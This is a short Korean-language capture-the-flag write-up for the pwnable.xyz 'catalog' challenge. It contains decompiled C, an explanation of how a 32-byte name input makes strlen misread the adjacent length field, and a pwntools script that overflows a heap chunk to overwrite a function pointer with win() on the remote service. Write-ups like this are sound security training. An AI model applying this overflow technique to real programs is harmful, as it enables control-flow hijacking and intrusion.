[pwnable.xyz]catalog

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int i; // [rsp+Ch] [rbp-14h]
  int j; // [rsp+10h] [rbp-10h]
  int v7; // [rsp+18h] [rbp-8h]
  int v8; // [rsp+1Ch] [rbp-4h]

  setup();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      write_name();                             // 1
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )                              // 2
    {
      for ( i = 0; catalog[i]; ++i )
        ;
      printf("index: ", argv);
      v7 = read_int32();
      if ( v7 >= 0 && v7 < i )
        edit_name(catalog[v7]);
      else
        puts("Invalid index");
    }
    else if ( v3 == 3 )                         // 3
    {
      for ( j = 0; catalog[j]; ++j )
        ;
      printf("index: ", argv);
      v8 = read_int32();
      if ( v8 >= 0 && v8 < j )
        (*(catalog[v8] + 40LL))(catalog[v8]);
      else
        puts("Invalid index");
    }
    else
    {
LABEL_25:
      puts("Invalid");
    }
  }
  if ( v3 )
    goto LABEL_25;
  return 0;
}

1번 메뉴에서 힙 영역을 할당해서 s[5]에는 함수 포인터를 넣고 edit_name함수에서 입력받고 한다.

size_t *write_name()
{
  size_t v0; // rdx
  size_t *result; // rax
  int i; // [rsp+4h] [rbp-Ch]
  size_t *s; // [rsp+8h] [rbp-8h]

  s = malloc(48uLL);
  for ( i = 0; catalog[i]; ++i )
    ;
  catalog[i] = s;
  s[5] = print_name;
  s[4] = 32LL;
  edit_name(s);
  v0 = strlen(s);
  result = s;
  s[4] = v0;
  return result;
}

그냥 솔직히 좀 얻어걸린 문제다. 디버깅하다가 32바이트만큼 입력하면 바로 뒤에 길이가 저장되서 strlen()으로 33바이트로 인식하게 되서 또 edit으로 33바이트만큼 입력할 수 있게되는데 여기서 33바이트 위치에 있는 길이만큼 입력받을 수 있으니까 이곳을 길게 덮어주면 s[5]의 함수 포인터를 덮을 수 있어 win()으로 덮고 3번 메뉴로 함수 포인터 실행해주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30023)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def write(name):
	sa('>','1')
	sa(':',name)

def edit(idx,name):
	sa('>','2')
	sa(':',str(idx))
	sa(':',name)

def print_name(idx):
	sa('>','3')
	sa(':',str(idx))

write('A'*32)
edit(0,'A'*33)
edit(0,'A'*40 + p64(e.symbols['win']))
print_name(0)

p.interactive()